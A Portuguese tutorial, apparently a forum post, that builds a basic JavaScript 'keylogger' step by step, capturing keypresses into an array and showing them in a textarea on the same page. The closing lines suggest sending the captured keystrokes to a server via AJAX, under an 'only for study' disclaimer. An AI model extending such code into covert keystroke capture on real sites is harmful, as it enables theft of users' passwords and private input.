Como criar um Keylogger usando java script .

Criando um Keylogger pelo java script
Vamos começar com nosso código base para trabalharmos em cima.
Primeiro crie uma pasta com o nome que quiser, la dentro coloque dois arquivos, um chamado 

index.html (ou qualquer outro que quiser) e outro 

js.js

Agora abra ambos em seu editor favorito.

No HTML vamos ter este conteúdo

Code             

<script src="js.js"></script>

E no Javascript

Code             

;(function(){


/* Código aqui */


}());

Primeiro de tudo, vamos criar um array vazio que posteriormente vai receber as teclas digitadas pelo usuário

Code             

;(function(){


   var keystrokes = [];


}());

Agora vamos capturar quando o usuário digitar qualquer coisa no documento, usando a função 

onkeypress

 do Javascript

Code             

;(function(){


   var keystrokes = [];


   document.onkeypress = function(){
      alert("usuario clicou alguma coisa");
   };


}());

Vamos avançar um pouco mais, agora identificando qual letra o cara digitou, usando agora a função 

window.event.keyCode

 para ver qual o decimal que ele digitou e 

String.fromCharCode()

 para tornar isso uma letra que estamos acostumados.

Code             

;(function(){


   var keystrokes = [];


   document.onkeypress = function(){
      alert(String.fromCharCode(window.event.keyCode));
   };


}());

Pode testar abrindo o 

index.html

 e digitando qualquer coisa ali.

Bom, mas não estamos fazendo nada com isso. Precisamos salvar essas teclas que o user ta digitando, então o que fazemos é usar o método 

push

 para adicionar cada tecla ao array que criamos e deixamos vazio.

Code             

;(function(){


   var keystrokes = [];


   document.onkeypress = function(){
      keystrokes.push(String.fromCharCode(window.event.keyCode));
      alert(keystrokes);
   };


}());

Note que agora o 

alert

 retorna todas as teclas separadas por vírgula.

Bom, agora o que vamos fazer, é modificar alguns elementos no nosso HTML para ler os dados e fazer nossos testes

Code             

<style type="text/css">
/* Some style ;) */


textarea#keylogger {
   width: 600px;
   min-height: 200px;
   display: block;
   outline: none;
}
</style>




<h1>Keylogger</h1>
<textarea id="keylogger"></textarea>
<button id="key">Carregar keys</button>


<script src="js.js"></script>

E agora para finalizar, vamos adicionar um evento 

onclick

 e adicionar isso ao 

textarea

 que nós criamos no HTML

Code             

;(function(){


   var keystrokes = [];


   document.onkeypress = function(){
      keystrokes.push(String.fromCharCode(window.event.keyCode));
   };


    document.getElementById('key').onclick = function(){
       var keylogger = document.getElementById('keylogger');
       keylogger.value = keylogger.value + keystrokes.join("");
        keystrokes = [];
    };


}());

Com 

keystrokes.join("");

 eu junto todas as letras do array para evitar que elas sejam mostradas com vírgulas.

Isso é só um exemplo bem básico, que não faz nada demais. Mas é possível enviar essas letras por AJAX para um servidor e guardar os dados, ou guardar no localStorage, as possibilidades são infinitas...

Lembrando que isso é apenas para estudos.